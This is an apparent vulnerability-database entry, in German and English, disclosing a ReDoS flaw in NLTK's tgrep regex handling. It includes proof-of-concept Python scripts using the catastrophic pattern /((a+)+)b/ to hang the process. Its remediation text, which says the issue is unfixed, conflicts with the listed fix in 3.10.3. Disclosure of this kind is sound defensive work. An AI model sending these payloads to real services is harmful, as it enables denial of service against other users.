Hoch

NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions

  • Veröffentlicht: 26.08.2026
  • Aktualisiert: 11.10.2026 15:17

Summary

The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.

Affected Code

nltk/tgrep.py — _tgrep_node_action() (around line 320)

When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:

python
def _tgrep_node_action(_s, _l, tokens):
    ...
    elif tokens[0].startswith("/"):
        assert tokens[0].endswith("/")
        node_lit = tokens[0][1:-1]
        return (
            lambda r: lambda n, m=None, l=None: r.search(
                _tgrep_node_literal_value(n)
            )
        )(re.compile(node_lit))  # User regex compiled and executed with no timeout

The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.

Proof of Concept

python
import nltk
from nltk.tgrep import tgrep_positions

# Root node label is 25 'a' characters.
# tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a")
# No 'b' is present — exponential backtracking occurs.
tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))")
tgrep_positions(r"/((a+)+)b/", [tree])   # Never returns

Working Poc

The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.

python
import nltk
from nltk.tgrep import tgrep_positions
import time

def test_n(n):
    tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))")
    pattern = r"/((a+)+)b/"
    start = time.perf_counter()
    list(tgrep_positions(pattern, [tree]))
    return time.perf_counter() - start

if __name__ == "__main__":
    # Adjust the range if needed – these values complete quickly
    n_values = [18, 20, 22, 24, 26, 28]
    print(f"Testing n = {n_values}\n")

    times = []
    for n in n_values:
        t = test_n(n)
        times.append((n, t))
        print(f"n={n:2d} done", flush=True)

    print("\n--- Increase factors (per step in n) ---")
    factors = []
    for i in range(1, len(times)):
        prev_n, prev_t = times[i-1]
        curr_n, curr_t = times[i]
        factor = curr_t / prev_t
        factors.append((curr_n, factor))
        print(f"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})")

    avg = sum(f for _, f in factors) / len(factors)
    print(f"\nAverage factor: {avg:.2f}x")
    print("\n✅ Confirmed: exponential growth (catastrophic backtracking).")
    print("   Larger n (≥ 35) will hang indefinitely.")

When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.

Impact

In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.

Remediation

This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.

Credit

Tool: Kira by Offgrid Security

Betroffene Software

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PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) nltk < 3.10.3 3.10.3

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-1333
Plattform
Python (PyPI)
Paket
nltk
Veröffentlicht
26.08.2026
Aktualisiert
11.10.2026 15:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-3751 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-w3v8-gmh9-3wv7 - CC BY 4.0

Schwachstellenhistorie: nltk

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (52) im Archiv
Einträge insgesamt
52
Erste → letzte
08.2019 09.2026
Ohne Fix
6
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 5
  • Hoch 32
  • Mittel 13
  • Niedrig 2

Veröffentlichungen pro Jahr

  1. 2019: 1
  2. 2020: 0
  3. 2021: 2
  4. 2022: 1
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 47
Schweregrad:
  1. Hoch · 7.0 CVE-2026-81726 <= 3.10.3 keine Korrektur
  2. NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions dieser Eintrag
    Hoch CVE-2026-80206 < 3.10.3 3.10.3
  3. Hoch CVE-2026-79674 < 3.10.3 3.10.3
  4. Hoch · 8.8 CVE-2026-71513 >= 3.10.0, < 3.10.3 3.10.3
  5. Hoch · 5.9 CVE-2026-62385 < 3.10.0 3.10.0
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